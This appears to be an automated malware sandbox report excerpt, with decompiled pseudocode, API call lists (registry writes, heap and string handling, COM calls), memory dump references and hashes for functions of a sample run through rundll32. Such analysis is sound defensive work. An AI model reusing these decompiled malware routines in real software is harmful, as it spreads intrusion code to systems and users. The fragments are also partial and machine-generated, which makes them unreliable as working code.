                          0x04c7441f
                          0x04c7443a
                          0x04c74454
                          0x00000000
                          0x04c74454
                          0x04c7444d
                          0x00000000

                          APIs
                          • wsprintfA.USER32 ref: 04C7440D
                          • RtlAllocateHeap.NTDLL(00000000,00000800), ref: 04C74432
                            • Part of subcall function 04C7300E: GetTickCount.KERNEL32 ref: 04C73025
                            • Part of subcall function 04C7300E: wsprintfA.USER32 ref: 04C73072
                            • Part of subcall function 04C7300E: wsprintfA.USER32 ref: 04C7308F
                            • Part of subcall function 04C7300E: wsprintfA.USER32 ref: 04C730B1
                            • Part of subcall function 04C7300E: wsprintfA.USER32 ref: 04C730D8
                            • Part of subcall function 04C7300E: wsprintfA.USER32 ref: 04C73103
                            • Part of subcall function 04C7300E: HeapFree.KERNEL32(00000000,?), ref: 04C73116
                            • Part of subcall function 04C7300E: wsprintfA.USER32 ref: 04C73135
                          • HeapFree.KERNEL32(00000000,?,?,?,?,?), ref: 04C744AC
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: wsprintf$Heap$Free$AllocateCountTick
                          • String ID:
                          • API String ID: 1307794992-0
                          • Opcode ID: 509a43fa16f1d5bef55b3eeba732d9d6040153ab8febc5aab67d8bb958ddd1a1
                          • Instruction ID: ec216107ab4b1fef1f960f81b99b2ca2f47f58ab864821a2aba29d33a4265630
                          • Opcode Fuzzy Hash: 509a43fa16f1d5bef55b3eeba732d9d6040153ab8febc5aab67d8bb958ddd1a1
                          • Instruction Fuzzy Hash: A3314C75600208EFDB01DF65D884BAE3BBDFB08349F108026FA05A7210D735EA45EBA5
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC6C1E Relevance: 4.6, APIs: 3, Instructions: 81registryCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CCB7A4: RegCreateKeyA.ADVAPI32(80000001,060DB7F0,?), ref: 04CCB7B9
                            • Part of subcall function 04CCB7A4: lstrlen.KERNEL32(060DB7F0,00000000,00000000,00000000,?,04CCA2EB,00000001,?,00000000,00000000,00000000,?,04CB109E,04CD9F2C,00000008,00000003), ref: 04CCB7E2
                          • RegQueryValueExA.KERNEL32(00000000,746BC740,00000000,00000000,04CD9068,04CBE6ED,00000001,00000000,060DC314,04CD906E,00000000,00000000,04CCCB01,060DC314,746BC740,00000000), ref: 04CC6C72
                          • RegSetValueExA.KERNEL32(04CD9068,00000003,00000000,00000003,04CD9068,00000028), ref: 04CC6CB3
                          • RegCloseKey.ADVAPI32(?), ref: 04CC6CBF
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Value$CloseCreateQuerylstrlen
                          • String ID:
                          • API String ID: 2552977122-0
                          • Opcode ID: 6016ce9ddfd1643be96d033bd5951dc5b03ea203a7ffff994d01e931dfc56da3
                          • Instruction ID: 8ebd7896b4d91fdbf2514c8fe199e33837c323b4718ef8858511b47b4d0d3665
                          • Opcode Fuzzy Hash: 6016ce9ddfd1643be96d033bd5951dc5b03ea203a7ffff994d01e931dfc56da3
                          • Instruction Fuzzy Hash: 143135BDD01218FFDF21DF94E944AAEBBBAFB08754F10416AE905A3240D3756E44DB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB6261 Relevance: 4.6, APIs: 3, Instructions: 73registryCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CD087A: lstrlen.KERNEL32(?,00000000,04CCBA3E,00000027,04CDA1E8,?,00000000,?,?,04CCBA3E,?,00000001,?,04CC0971,00000000,?), ref: 04CD08B0
                            • Part of subcall function 04CD087A: lstrcpy.KERNEL32(00000000,00000000), ref: 04CD08D4
                            • Part of subcall function 04CD087A: lstrcat.KERNEL32(00000000,00000000), ref: 04CD08DC
                          • RegOpenKeyExA.KERNEL32(?,00000000,00000000,00020119,?,?,?,00000000), ref: 04CB62A8
                          • RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019,?,?,?,00000000), ref: 04CB62BE
                          • RegCloseKey.KERNEL32(?,?,?,?,?,?,?,00000000), ref: 04CB6307
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Open$Closelstrcatlstrcpylstrlen
                          • String ID:
                          • API String ID: 4131162436-0
                          • Opcode ID: 79a327e92a6c5fe853ab3fa265ecd896067f4b384a3cf7abd8bc40884d18c854
                          • Instruction ID: 3734c69e86b180fab2ad437108ff02fc2155fd14a73e2c02e9f32dbcf37efb25
                          • Opcode Fuzzy Hash: 79a327e92a6c5fe853ab3fa265ecd896067f4b384a3cf7abd8bc40884d18c854
                          • Instruction Fuzzy Hash: 6D213BBAA00209FFDB01DF95DC81DEEBBBDEB09318B104079E640A3111E771AE55DBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C73B58 Relevance: 4.6, APIs: 3, Instructions: 73memorystringCOMMON
                          Download Yara Rule
                          C-Code - Quality: 79%
                          			E04C73B58(void* __eax, char* _a4, char* _a8, intOrPtr _a12, intOrPtr _a16, void** _a20, intOrPtr* _a24) {
				char _v5;
				signed int _v12;
				intOrPtr _v16;
				char _t28;
				void* _t33;
				void* _t38;
				void* _t45;
				char* _t46;
				void* _t48;
				char* _t56;
				char* _t57;
				intOrPtr _t59;
				void* _t60;

				_t56 = _a4;
				_t60 = __eax;
				_v12 = 0xb;
				if(_t56 != 0 && __eax != 0) {
					_t5 = _t60 - 1; // -1
					_t46 =  &(_t56[_t5]);
					_t28 =  *_t46;
					_v5 = _t28;
					 *_t46 = 0;
					__imp__(_a8, _t45);
					_v16 = _t28;
					_t57 = StrStrA(_t56, _a8);
					if(_t57 != 0) {
						 *_t46 = _v5;
						_t33 = RtlAllocateHeap( *0x4c7a2d8, 0, _a16 + _t60); // executed
						_t48 = _t33;
						if(_t48 == 0) {
							_v12 = 8;
						} else {
							_t58 = _t57 - _a4;
							E04C77A1E(_t57 - _a4, _a4, _t48);
							_t38 = E04C77A1E(_a16, _a12, _t58 + _t48);
							_t53 = _v16;
							_t59 = _a16;
							E04C77A1E(_t60 - _t58 - _v16, _t53 + _t58 + _a4, _t38 + _t59);
							 *_a20 = _t48;
							_v12 = _v12 & 0x00000000;
							 *_a24 = _t60 - _v16 + _t59;
						}
					}
				}
				return _v12;
			}
















                          0x04c73b60
                          0x04c73b63
                          0x04c73b65
                          0x04c73b6e
                          0x04c73b80
                          0x04c73b80
                          0x04c73b84
                          0x04c73b86
                          0x04c73b89
                          0x04c73b8c
                          0x04c73b95
                          0x04c73b9f
                          0x04c73ba3
                          0x04c73ba8
                          0x04c73bb8
                          0x04c73bbe
                          0x04c73bc2
                          0x04c73c11
                          0x04c73bc4
                          0x04c73bc4
                          0x04c73bcd
                          0x04c73bdc
                          0x04c73be1
                          0x04c73bee
                          0x04c73bf7
                          0x04c73c02
                          0x04c73c09
                          0x04c73c0d
                          0x04c73c0d
                          0x04c73bc2
                          0x04c73c18
                          0x04c73c1f

                          APIs
                          • lstrlen.KERNEL32(7620F710,?,00000000,?,7620F710), ref: 04C73B8C
                          • StrStrA.SHLWAPI(00000000,?), ref: 04C73B99
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04C73BB8
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: AllocateHeaplstrlen
                          • String ID:
                          • API String ID: 556738718-0
                          • Opcode ID: f20be604d179e0da21d195d977460a7d86e6cf288e937e7e6e0c4da0ee0cf8a7
                          • Instruction ID: bbfb73203cdd1929c82a6703ff243e13153b364da0e6fb17a8f3b7b9c5bcde51
                          • Opcode Fuzzy Hash: f20be604d179e0da21d195d977460a7d86e6cf288e937e7e6e0c4da0ee0cf8a7
                          • Instruction Fuzzy Hash: 6A21A179600249AFDF11CF68C884B9EBFB6EF85354F088250EC04AB305D735EA55DBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C76E6D Relevance: 4.6, APIs: 3, Instructions: 58COMMON
                          Download Yara Rule
                          C-Code - Quality: 47%
                          			E04C76E6D(char* _a4, char** _a8) {
				char* _t7;
				char* _t11;
				char* _t14;
				char* _t16;
				char* _t17;
				char _t18;
				signed int _t20;
				signed int _t22;

				_t16 = _a4;
				_push(0x20);
				_t20 = 1;
				_push(_t16);
				while(1) {
					_t7 = StrChrA();
					if(_t7 == 0) {
						break;
					}
					_t20 = _t20 + 1;
					_push(0x20);
					_push( &(_t7[1]));
				}
				_t11 = E04C76D63(_t20 << 2);
				_a4 = _t11;
				if(_t11 != 0) {
					StrTrimA(_t16, 0x4c79284); // executed
					_t22 = 0;
					do {
						_t14 = StrChrA(_t16, 0x20);
						if(_t14 != 0) {
							 *_t14 = 0;
							do {
								_t14 =  &(_t14[1]);
								_t18 =  *_t14;
							} while (_t18 == 0x20 || _t18 == 9);
						}
						_t17 = _a4;
						 *(_t17 + _t22 * 4) = _t16;
						_t22 = _t22 + 1;
						_t16 = _t14;
					} while (_t14 != 0);
					 *_a8 = _t17;
				}
				return 0;
			}











                          0x04c76e71
                          0x04c76e7e
                          0x04c76e80
                          0x04c76e81
                          0x04c76e89
                          0x04c76e89
                          0x04c76e8d
                          0x00000000
                          0x00000000
                          0x04c76e84
                          0x04c76e85
                          0x04c76e88
                          0x04c76e88
                          0x04c76e95
                          0x04c76e9a
                          0x04c76e9f
                          0x04c76ea7
                          0x04c76ead
                          0x04c76eaf
                          0x04c76eb2
                          0x04c76eb6
                          0x04c76eb8
                          0x04c76ebb
                          0x04c76ebb
                          0x04c76ebc
                          0x04c76ebe
                          0x04c76ebb
                          0x04c76ec8
                          0x04c76ecb
                          0x04c76ece
                          0x04c76ecf
                          0x04c76ed1
                          0x04c76ed8
                          0x04c76ed8
                          0x04c76ee4

                          APIs
                          • StrChrA.SHLWAPI(?,00000020,00000000,052495AC,?,?,04C776A6,?,052495AC), ref: 04C76E89
                          • StrTrimA.SHLWAPI(?,04C79284,00000002,?,04C776A6,?,052495AC), ref: 04C76EA7
                          • StrChrA.SHLWAPI(?,00000020,?,04C776A6,?,052495AC), ref: 04C76EB2
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: Trim
                          • String ID:
                          • API String ID: 3043112668-0
                          • Opcode ID: 3f8cfef9b608f0c31b10bf6aa100d32ec1b55b744879eee427d03e8228c31f1f
                          • Instruction ID: a6c497d4361ce4cc85c7622479bc6ed928327bb8241bcda98c3c3f9c1677e460
                          • Opcode Fuzzy Hash: 3f8cfef9b608f0c31b10bf6aa100d32ec1b55b744879eee427d03e8228c31f1f
                          • Instruction Fuzzy Hash: D401B171300756AFE7205A2BCC45F6B7B9EEBC57A4F041011E945CB282DA70E94286B0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C77928 Relevance: 4.5, APIs: 2, Strings: 1, Instructions: 48COMMON
                          Download Yara Rule
                          C-Code - Quality: 64%
                          			E04C77928(intOrPtr __edi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v36;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				void _v60;
				char _v64;
				long _t14;
				intOrPtr _t18;
				intOrPtr _t19;
				intOrPtr _t26;
				intOrPtr _t27;
				long _t28;

				_t27 = __edi;
				_t26 = _a8;
				_t14 = E04C73F07(_a4, _t26, __edi); // executed
				_t28 = _t14;
				if(_t28 != 0) {
					memset( &_v60, 0, 0x38);
					_t18 =  *0x4c7a348; // 0x5cd5a8
					_t28 = 0;
					_v64 = 0x3c;
					if(_a12 == 0) {
						_t7 = _t18 + 0x4c7b4e0; // 0x70006f
						_t19 = _t7;
					} else {
						_t6 = _t18 + 0x4c7b8f4; // 0x750072
						_t19 = _t6;
					}
					_v52 = _t19;
					_push(_t28);
					_v48 = _a4;
					_v44 = _t26;
					_v36 = _t27;
					E04C723AA();
					_push( &_v64);
					if( *0x4c7a100() == 0) {
						_t28 = GetLastError();
					}
					_push(1);
					E04C723AA();
				}
				return _t28;
			}















                          0x04c77928
                          0x04c7792f
                          0x04c77938
                          0x04c7793d
                          0x04c77941
                          0x04c7794b
                          0x04c77950
                          0x04c77955
                          0x04c7795a
                          0x04c77964
                          0x04c7796e
                          0x04c7796e
                          0x04c77966
                          0x04c77966
                          0x04c77966
                          0x04c77966
                          0x04c77974
                          0x04c7797a
                          0x04c7797b
                          0x04c7797e
                          0x04c77981
                          0x04c77984
                          0x04c7798c
                          0x04c77995
                          0x04c7799d
                          0x04c7799d
                          0x04c7799f
                          0x04c779a1
                          0x04c779a1
                          0x04c779ab

                          APIs
                            • Part of subcall function 04C73F07: SysAllocString.OLEAUT32(00000000), ref: 04C73F61
                            • Part of subcall function 04C73F07: SysAllocString.OLEAUT32(0070006F), ref: 04C73F75
                            • Part of subcall function 04C73F07: SysAllocString.OLEAUT32(00000000), ref: 04C73F87
                          • memset.NTDLL ref: 04C7794B
                          • GetLastError.KERNEL32 ref: 04C77997
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: AllocString$ErrorLastmemset
                          • String ID: <
                          • API String ID: 3736384471-4251816714
                          • Opcode ID: 8f7ec2de76d6eb93ab54f350463ef8f0775da8c0d563a32d20c9b2d18c059820
                          • Instruction ID: 358cb61d5e548695a731d50afddd5e54b0fc7462e0724ba2b516d7cf4568d2c5
                          • Opcode Fuzzy Hash: 8f7ec2de76d6eb93ab54f350463ef8f0775da8c0d563a32d20c9b2d18c059820
                          • Instruction Fuzzy Hash: C1014075901218AFDB10EFA9D884FDEBBBDFB08784F444165F914E7201E734A904CB91
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCB7A4 Relevance: 4.5, APIs: 3, Instructions: 40registrystringCOMMON
                          Download Yara Rule
                          APIs
                          • RegCreateKeyA.ADVAPI32(80000001,060DB7F0,?), ref: 04CCB7B9
                          • RegOpenKeyA.ADVAPI32(80000001,060DB7F0,?), ref: 04CCB7C3
                          • lstrlen.KERNEL32(060DB7F0,00000000,00000000,00000000,?,04CCA2EB,00000001,?,00000000,00000000,00000000,?,04CB109E,04CD9F2C,00000008,00000003), ref: 04CCB7E2
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CreateOpenlstrlen
                          • String ID:
                          • API String ID: 2865187142-0
                          • Opcode ID: 1f80be2fa653848da8a1bf4fe98eef4b672b322e834480d07e79d4148d659154
                          • Instruction ID: 1cf8d7aed76a174d520de591befbbb0aeeef646cc7b4cdfc5d5a3eab3b09175f
                          • Opcode Fuzzy Hash: 1f80be2fa653848da8a1bf4fe98eef4b672b322e834480d07e79d4148d659154
                          • Instruction Fuzzy Hash: 3BF0907A101208BFEB15AF91EC89FAB7B6DEF45794F118009FD0689240E670BA80C7B0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCE831 Relevance: 4.5, APIs: 3, Instructions: 18memoryCOMMON
                          Download Yara Rule
                          APIs
                          • SetEvent.KERNEL32(000005AC,04CCC3DB), ref: 04CCE83B
                            • Part of subcall function 04CB34FF: SleepEx.KERNEL32(00000064,00000001,00000000,?,?,?,04CCE846), ref: 04CB3528
                            • Part of subcall function 04CB34FF: RtlDeleteCriticalSection.NTDLL(04CDA3E0), ref: 04CB355B
                            • Part of subcall function 04CB34FF: RtlDeleteCriticalSection.NTDLL(04CDA400), ref: 04CB3562
                            • Part of subcall function 04CB34FF: ReleaseMutex.KERNEL32(000005BC,00000000,?,?,?,04CCE846), ref: 04CB358B
                            • Part of subcall function 04CB34FF: CloseHandle.KERNEL32(?,?,04CCE846), ref: 04CB3597
                            • Part of subcall function 04CB34FF: ResetEvent.KERNEL32(00000000,00000000,?,?,?,04CCE846), ref: 04CB35A3
                            • Part of subcall function 04CB34FF: CloseHandle.KERNEL32(?,?,04CCE846), ref: 04CB35AF
                            • Part of subcall function 04CB34FF: SleepEx.KERNEL32(00000064,00000001,00000000,?,?,?,04CCE846), ref: 04CB35B5
                            • Part of subcall function 04CB34FF: SleepEx.KERNEL32(00000064,00000001,?,?,04CCE846), ref: 04CB35C9
                            • Part of subcall function 04CB34FF: HeapFree.KERNEL32(00000000,00000000,?,?,04CCE846), ref: 04CB35ED
                            • Part of subcall function 04CB34FF: RtlRemoveVectoredExceptionHandler.NTDLL(04CF05B8), ref: 04CB3623
                            • Part of subcall function 04CB34FF: SleepEx.KERNEL32(00000064,00000001,?,?,04CCE846), ref: 04CB363F
                          • CloseHandle.KERNEL32(000005AC), ref: 04CCE850
                          • HeapDestroy.KERNELBASE(05CE0000), ref: 04CCE860
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Sleep$CloseHandle$CriticalDeleteEventHeapSection$DestroyExceptionFreeHandlerMutexReleaseRemoveResetVectored
                          • String ID:
                          • API String ID: 2773679374-0
                          • Opcode ID: f4bfb1cabb19d73feb37705dc8769f0dd9e54fa1b4773687f0a124683d7dcd34
                          • Instruction ID: a47a3b20668e0fd2fbb94a9b1aca18694342f9cbb2ca1a193f257b8761bb737e
                          • Opcode Fuzzy Hash: f4bfb1cabb19d73feb37705dc8769f0dd9e54fa1b4773687f0a124683d7dcd34
                          • Instruction Fuzzy Hash: 52E0677CB02241EBEB20AF79E88CF1637AEEB056867480428F805D2144DB29FD45EA60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C72575 Relevance: 3.8, APIs: 3, Instructions: 82COMMON
                          Download Yara Rule
                          C-Code - Quality: 100%
                          			E04C72575(void* _a4, intOrPtr _a8, intOrPtr _a12) {
				int _v12;
				signed int _v16;
				void* _v20;
				signed char _v36;
				void* _t24;
				intOrPtr _t27;
				void* _t35;
				signed int _t38;
				signed char* _t46;
				int _t53;
				void* _t55;
				void* _t56;
				void* _t57;

				_v16 = _v16 & 0x00000000;
				_t46 = _a4;
				_t53 = ( *_t46 & 0x000000ff) + 0x110;
				_v12 = 0x110;
				_t24 = E04C76D63(_t53);
				_a4 = _t24;
				if(_t24 != 0) {
					memcpy(_t24,  *0x4c7a378, 0x110);
					_t27 =  *0x4c7a37c; // 0x0
					_t57 = _t56 + 0xc;
					if(_t27 != 0) {
						_t51 = _a4;
						E04C7138A(0x110, _a4, _a4, _t27, 0);
					}
					if(E04C76BF2( &_v36) != 0) {
						_t35 = E04C75FBB(0x110, 0,  &_v36, _a4,  &_v20,  &_v12); // executed
						if(_t35 == 0) {
							_t55 = _v20;
							_v36 =  *_t46;
							_t38 = E04C713C7(_t55, _a8, _t51, _t46, _a12); // executed
							_v16 = _t38;
							 *(_t55 + 4) = _v36;
							memset(_t55, 0, _v12 - (_t46[4] & 0xf));
							_t57 = _t57 + 0xc;
							E04C76C2C(_t55);
						}
					}
					memset(_a4, 0, _t53);
					E04C76C2C(_a4);
				}
				return _v16;
			}
















                          0x04c7257b
                          0x04c72580
                          0x04c7258d
                          0x04c72590
                          0x04c72593
                          0x04c72598
                          0x04c7259d
                          0x04c725ab
                          0x04c725b0
                          0x04c725b5
                          0x04c725ba
                          0x04c725bc
                          0x04c725c5
                          0x04c725c5
                          0x04c725d4
                          0x04c725e9
                          0x04c725f0
                          0x04c725f7
                          0x04c725fd
                          0x04c72603
                          0x04c7260b
                          0x04c72611
                          0x04c72621
                          0x04c72626
                          0x04c7262a
                          0x04c7262a
                          0x04c725f0
                          0x04c72635
                          0x04c72640
                          0x04c72640
                          0x04c7264c

                          APIs
                            • Part of subcall function 04C76D63: RtlAllocateHeap.NTDLL(00000000,00000000,04C75D7B), ref: 04C76D6F
                          • memcpy.NTDLL(00000000,00000110,?,?,?,?,?,?,?,04C74493,?), ref: 04C725AB
                          • memset.NTDLL ref: 04C72621
                          • memset.NTDLL ref: 04C72635
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: memset$AllocateHeapmemcpy
                          • String ID:
                          • API String ID: 1529149438-0
                          • Opcode ID: 1c848d5f5983843102bb79a22a96b41f26d56684f7c46cab3c6b65c05dbec08f
                          • Instruction ID: f02a105d56bb118d650229c88d864d73f2edd05a937fe5150040385e1039b1c2
                          • Opcode Fuzzy Hash: 1c848d5f5983843102bb79a22a96b41f26d56684f7c46cab3c6b65c05dbec08f
                          • Instruction Fuzzy Hash: 6B214F71A00518BBEF11AF65CC80FEEBFB9EF08754F048055F904A6250E735EA01DBA4
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C71F7A Relevance: 3.1, APIs: 2, Instructions: 149serviceCOMMON
                          Download Yara Rule
                          C-Code - Quality: 38%
                          			E04C71F7A(intOrPtr _a4) {
				void* _v12;
				char _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				char _v32;
				intOrPtr _v40;
				void* _v46;
				short _v48;
				intOrPtr _t49;
				void* _t51;
				intOrPtr* _t53;
				intOrPtr _t56;
				void* _t58;
				intOrPtr* _t59;
				intOrPtr* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				intOrPtr* _t67;
				intOrPtr* _t69;
				intOrPtr* _t71;
				short _t73;
				intOrPtr* _t74;
				intOrPtr _t77;
				intOrPtr* _t80;
				intOrPtr _t82;
				char* _t98;
				intOrPtr _t100;
				void* _t106;
				void* _t108;
				intOrPtr _t112;

				_v48 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_t49 =  *0x4c7a348; // 0x5cd5a8
				_t4 = _t49 + 0x4c7b448; // 0x52489f0
				_t82 = 0;
				_t5 = _t49 + 0x4c7b438; // 0x9ba05972
				_t51 =  *0x4c7a170(_t5, 0, 4, _t4,  &_v20); // executed
				_t106 = _t51;
				if(_t106 >= 0) {
					_t53 = _v20;
					_push( &_v12);
					_push(1);
					_push( &_v32);
					_push(8);
					_t98 =  &_v48;
					_push(_t98);
					_push(_t98);
					_push(_t53); // executed
					if( *((intOrPtr*)( *_t53 + 0x3c))() == 0) {
						_t56 =  *0x4c7a348; // 0x5cd5a8
						_t30 = _t56 + 0x4c7b428; // 0x52489d0
						_t31 = _t56 + 0x4c7b458; // 0x4c96be40
						_t58 =  *0x4c7a10c(_v12, _t31, _t30,  &_v24); // executed
						_t106 = _t58;
						_t59 = _v12;
						 *((intOrPtr*)( *_t59 + 8))(_t59);
						goto L11;
					} else {
						_t71 = _v20;
						_v16 = 0;
						_t106 =  *((intOrPtr*)( *_t71 + 0x1c))(_t71,  &_v16);
						if(_t106 >= 0) {
							_t112 = _v16;
							if(_t112 == 0) {
								_t106 = 0x80004005;
								goto L11;
							} else {
								if(_t112 <= 0) {
									L11:
									if(_t106 >= 0) {
										goto L12;
									}
								} else {
									do {
										_t73 = 3;
										_v48 = _t73;
										_t74 = _v20;
										_v40 = _t82;
										_t108 = _t108 - 0x10;
										asm("movsd");
										asm("movsd");
										asm("movsd");
										asm("movsd");
										_t106 =  *((intOrPtr*)( *_t74 + 0x20))(_t74,  &_v12);
										if(_t106 < 0) {
											goto L7;
										} else {
											_t77 =  *0x4c7a348; // 0x5cd5a8
											_t23 = _t77 + 0x4c7b428; // 0x52489d0
											_t24 = _t77 + 0x4c7b458; // 0x4c96be40
											_t106 =  *0x4c7a10c(_v12, _t24, _t23,  &_v24);
											_t80 = _v12;
											 *((intOrPtr*)( *_t80 + 8))(_t80);
											if(_t106 >= 0) {
												L12:
												_t63 = _v24;
												_t106 =  *((intOrPtr*)( *_t63 + 0x3c))(_t63,  &_v28);
												if(_t106 >= 0) {
													_t100 =  *0x4c7a348; // 0x5cd5a8
													_t67 = _v28;
													_t40 = _t100 + 0x4c7b418; // 0x214e3
													_t106 =  *((intOrPtr*)( *_t67))(_t67, _t40, _a4);
													_t69 = _v28;
													 *((intOrPtr*)( *_t69 + 8))(_t69);
												}
												_t65 = _v24;
												 *((intOrPtr*)( *_t65 + 8))(_t65);
											} else {
												goto L7;
											}
										}
										goto L15;
										L7:
										_t82 = _t82 + 1;
									} while (_t82 < _v16);
									goto L11;
								}
							}
						}
					}
					L15:
					_t61 = _v20;
					 *((intOrPtr*)( *_t61 + 8))(_t61);
				}
				return _t106;
			}


































                          0x04c71f85
                          0x04c71f8c
                          0x04c71f8d
                          0x04c71f8e
                          0x04c71f8f
                          0x04c71f95
                          0x04c71f9a
                          0x04c71fa3
                          0x04c71fa6
                          0x04c71fad
                          0x04c71fb3
                          0x04c71fb7
                          0x04c71fbd
                          0x04c71fc5
                          0x04c71fc6
                          0x04c71fcb
                          0x04c71fcc
                          0x04c71fce
                          0x04c71fd1
                          0x04c71fd2
                          0x04c71fd3
                          0x04c71fd9
                          0x04c7206f
                          0x04c72074
                          0x04c7207b
                          0x04c72085
                          0x04c7208b
                          0x04c7208d
                          0x04c72093
                          0x00000000
                          0x04c71fdf
                          0x04c71fdf
                          0x04c71fe6
                          0x04c71fef
                          0x04c71ff3
                          0x04c71ff9
                          0x04c71ffc
                          0x04c72064
                          0x00000000
                          0x04c71ffe
                          0x04c71ffe
                          0x04c72096
                          0x04c72098
                          0x00000000
                          0x00000000
                          0x04c72004
                          0x04c72004
                          0x04c72006
                          0x04c7200b
                          0x04c7200f
                          0x04c72012
                          0x04c72017
                          0x04c7201f
                          0x04c72020
                          0x04c72021
                          0x04c72023
                          0x04c72027
                          0x04c7202b
                          0x00000000
                          0x04c7202d
                          0x04c72031
                          0x04c72036
                          0x04c7203d
                          0x04c7204d
                          0x04c7204f
                          0x04c72055
                          0x04c7205a
                          0x04c7209a
                          0x04c7209a
                          0x04c720a7
                          0x04c720ab
                          0x04c720b0
                          0x04c720b6
                          0x04c720bb
                          0x04c720c5
                          0x04c720c7
                          0x04c720cd
                          0x04c720cd
                          0x04c720d0
                          0x04c720d6
                          0x00000000
                          0x00000000
                          0x00000000
                          0x04c7205a
                          0x00000000
                          0x04c7205c
                          0x04c7205c
                          0x04c7205d
                          0x00000000
                          0x04c72062
                          0x04c71ffe
